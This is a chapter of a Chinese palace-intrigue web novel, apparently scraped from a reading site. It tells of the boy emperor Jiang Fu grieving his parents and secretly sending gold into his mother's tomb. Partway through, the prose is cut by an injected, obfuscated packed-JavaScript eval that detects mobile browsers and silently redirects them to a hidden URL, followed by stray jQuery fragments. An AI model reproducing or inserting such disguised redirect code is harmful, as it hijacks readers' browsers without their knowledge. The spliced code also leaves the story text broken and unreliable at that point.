默认冷灰
24号文字
方正启体

19. 脱尘縻信君思反哺

作者:西飞陇山去本书字数:K更新时间:
    很长很长一段时间里,沈厌卿都在想:


    登基大典之前的那段日子,姜孚是怎么熬过去的呢?


    十四岁的小皇子,即将一朝成为天下的主人,被所有人仰视,这似乎是世上最值得羡慕的事情。


    可是得到这些的代价却是父皇驾崩,母后殉情陪葬,作为帝师的他也正因刺杀三皇子重伤昏迷不醒,有一两个月没有出来走动。


    他有时想,真要是那时死了就好了,就可免去后面的许多事,也不至于到今日还满心惶恐地活着。


    可是一想到若是自己撒手去了,姜孚就真的变成了孤零零一个人……


    他到底还是纵容自己背叛了发过的誓,从那边又挣扎回来了。


    地下之人若是有知莫怪,他只是再苟且几日。


    他不在的那段时间里,宫人都说姜孚沉默的很,每天枯坐着什么都不说,事情来了就处理。


    谁也猜不到这小孩子的心思。


    处事的手段倒是老成,似乎什么都能应付的了,从未辜负过先帝留下的那群老臣的期待。


    都说,姜孚确实是天生的少年帝王。


    没人比沈厌卿更赞同这一点。


    在更早更早的许多年前,他就因为看中了这些而走到姜孚身边,尽心养育他,辅佐他……为的就是有朝一日能看着姜孚独当一面。


    所以说,虽然朝堂众臣都因沈厌卿专权恨得咬牙切齿,但沈厌卿自己其实从未有过不臣的心思。


    谁都可能会有,唯独他不可能。


    走到今天这一步,也只有他自己知道是为什么。


    ……


    “陛下早就知道太后娘娘……为什么不与臣说呢?”


    沈厌卿其实想说,皇家自己的事情,把他排除在外其实无可厚非。


    可此时不知道为什么,他忽然贪心了一下,僭越了一下,借着方才的亲近把这句话问出了口。


    姜孚并没有隐瞒他的意思,只是偏开了视线,不与他对视:


    “不是故意想隐瞒老师……但我也不能确定,我只是……只是猜测而已。”


    他抿住下唇,捏紧了沈厌卿的手。


    ……


    皇帝驾崩,当年最后的几个月不能改元,小皇子虽然已经注定继承大统,可是名义上依然是戴孝的皇储。


    皇储白日里听着老臣们的建议处理政事,夜里回到寝宫,就只做一件事:


    亲手整理帝后合葬墓的随葬品清单。


    与先例相比,这张清单是很奇怪的,因为它从未经过礼部层层核验检查,直接由新帝拍板执行。


    新帝孝心笃实,凡事关乎葬仪的都亲自处理,关乎细节的地方都特召礼部尚书及侍郎进宫相询。


    但最后的敲定和实际的工程运送却分了几部分去做,本将这看作老本行的礼部工部硬是只分到了一点儿。


    剩下的工作谁在做呢?


    不能问,皇家历代总有些自己内部的人的,既然有心瞒着他们,他们就得老老实实装傻,一点儿也不许好奇。


    每日还要劝解陛下不要太过伤心,陛下都消瘦了这样不行还有天下万民需要陛下啊云云。


    一般对皇储来说,死了爹是天大的喜事。


    他们唯一要做到的就是在正式穿上龙袍之前别笑出来,而看管着新皇帝阻止他发自内心微笑也算是礼部的职责之一。


    ——至少礼部侍郎从前代听说的经验是这样的。


    不过他还没有过实践的机会,毕竟先帝就是本朝第一个皇帝,而且是亲力亲为打上来的,其父亲仙去时他还在忙着读书备考,无缘得见。


    到了崇礼年前,他才来了机会,挽起袖子笔耕不辍准备了一堆讲稿,要委婉又不失力度地劝即将走马上任的七皇子不要笑的太开心,至少也等出了孝期再欣赏自身的英明神武。


    可是当他被召进宫里奏对时,看到的小皇帝的悲伤却是货真价实的。


    他分得清,他就是干这个的。


    十四岁的年轻帝王,憔悴得像是数日没有休息过,说着说着话眼泪就断线珠串儿似的淌下来。


    旁边的内侍一轮一轮地递上温热的毛巾,以免圣人的脸被这断断续续的淡盐蛰伤。


    尽管如此,小皇帝的眼下还是两道通红,几乎要磨破了渗出血来。


    礼部侍郎深知假哭的要领,这些天已经领哭了不少次。要想显得心诚又哀痛,须得扯着嗓子嚎出声来,最不济也要抽泣得大声些,蓬头垢面连涕带泪抹个满脸,至于真流下多少眼泪反倒是次要的。


    小皇帝的表情却平淡的出奇,只是勉力抬起头看着他,把将落不落的眼泪攒着些盈在眼眶里。


    好像本是不想哭的,可是心里的悲哀积得太多了,就都从眼睛里冒出来。


    若这是能轻松演出来的,那要礼部这帮专业的做什么呢?


    礼部侍郎脑中没来由冒出一句“今作流泪泉”,心里到底是软了些,语气也像是哄着小孩了:


    “陛下还是要节哀……”


    来之前他还在心里琢磨着对皇帝来说死了爹到底有何哀可节,可眼下他才意识到:


    眼前的所谓新圣人,也不过是刚刚丧母丧父的孩子而已。


    世人都道这是喜事,反而衬得小皇帝更孤独更无依。


    说起来,最近都没见到沈厌卿啊。


    他正要走神,忽听见小皇帝眼里泪光闪烁,哽咽着开口:


    “林卿,我阿耶、阿娘的事情,就要多劳你费心了。”


    礼部侍郎立即原地跪下,须臾间连磕三个响头。


    天子哀痛得都忘了用尊称称呼自己的父母,反而稚童似的叫起阿耶阿娘——若是书成典例,必定能作下场科举的题目之一,再收入数十本官方教材,用作本朝百年经典例题。


    而皇帝如此和他说话,是把他当成了自己人,他不领情就是不要命了。


    听了这句话,外面就是下刀子下箭头他也得把这件事风风光光规规整整办完,容不得半点差错。


    他领了那份礼部的单子,战战兢兢倒着退出去了。


    ……


    奉德十九年末,沈厌卿醒来的第一件事就是检查姜孚给他的清单,看看上面有没有不合适的,下面人又不敢提的东西。


    因着有前朝的案例可抄,凑这么一份清单并不算太难,规制流程都正常。


    唯一奇怪的是陪葬品里的金银似乎有些多——其实这种东西也没个标准,只是看着感觉奇怪。


    沈厌卿看了一眼趴在他床边略显紧张的小皇帝,最终放过了这个细节。


    反正官银都有印记……总归也只是陪葬而已。


    但最后被运进地宫的那些,却是散得刚刚好的碎金碎银。


    沈厌卿其实有所猜测。


    但那时他已经决心把自己逐渐从权力核心摘出去,放手给小皇帝自己的空间——因此,他最后也不曾过问过一句。


    十四岁的小皇帝就这么带


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149984|164822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着一点点希冀,又怀着一点点犹豫地,从自己的私库中拨了小半数,以这种隐秘无人知晓的方式隔空递给了自己的母亲。


    ……


    “母后做事,向来少与他人说,因此也不曾与我通过信……”


    但母后在那时回头看了他一眼。


    十二岁的神女,十七岁的贵妃,三十一岁的未来太后。


    杨琼在把自己的命作为最后一个筹码押上赌桌的时候,灵感忽动,回头看了一眼自己的儿子。


    小孩子跪在后面,尚沉浸在方才那句话带来的惊惧中,却带着泪朝她笑。为的不是自己即将在这场混乱漫长的争夺中取胜,而仅仅是因为母亲看了他一眼。


    杨琼在那一刻才有了些实感,意识到蹉跎的这些年岁并不是一场随手可抛的梦。


    她好像第一天成为母亲,第一天认识姜孚。她计较得如此多,算的如此精确,骗过了所有人,可是心底某个地方依旧是和不远处那个孩子连着的。


    但都走到这一步了,如何还有回转的机会呢?


    于是她也只是朝姜孚笑一笑,抛下手里最后几缕断发,在塌前恭恭敬敬地跪下来,等着一切的终焉。


    与此同时,小皇子的心里却滋生出一种不切实际的希望。


    这种虚无缥缈的东西成了他那几个月里撑着他的唯一一口气,推着他将帝后合葬陵的图纸查了一遍又一遍,最终依着自己的猜测做下那些看似多余又隐秘的布置。


    他与母后此生还会相见么?


    未必再有机会了。


    可他就是希望母亲无论去何处都能衣食无忧,自由自在地活着,想做什么就做什么。


    他去正院请安时,母亲常跪在佛像前闭目作祷,看也不看他,也不许他跪,告诫他:


    “你父皇不喜欢这个。”


    他知道念佛的人都求许多东西,最多的是求脱离苦海。


    他常思忖,他自己是不是这苦海的一部分呢?于是他把思绪放回奉德元年,琢磨着自己尚未出生的那个年代:


    一个功臣家的小女儿,卜了那样的卦,解了那样的词。


    声名和荣誉都加身,可还有哪里容得下她呢?


    杨金风再不舍,也不能把能断江山大事的孩子留在自己膝下;外人再爱慕杨琼的容貌才情,也不可能娶一位通晓国运的夫人。


    杨琼一十二岁时在京郊小路上接下的那束蓍草,其实是一个死局。


    这死局困着她,束着她,教她再没有任何选择可言。


    唯一能偷生的机会,便是在那红墙里面为自己寻一个冷清的小角,然后祈祷被所有人忘记。


    她白日里浑浑噩噩拜佛,烧香,数蓍草的叶子。到了晚上,就把那些东西都丢进火里烧成灰,一点儿也不留。


    姜孚来见她时,她常常恍惚,几次险些问出口:


    你也是那蓍草的果么?你来讨什么呢?


    ……


    杨琼讲到这里时,摸了摸腰上的长刀,朝对面二人展颜一笑。


    “所幸都捱过来了。康雪当年与我说,我总有一日会这么自在的。”


    ……


    那位前朝的大长公主曾矜贵立在刀前,微微低头,步摇的碎影投在小姑娘脸上。


    这一刻,她好像看见了另一个自己。


    “你须得记着,眼下你不过一片雪花而已。”


    “——可只要一场瓢泼大雨,你就将随春潮涨起,一直到那江河湖海里去。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)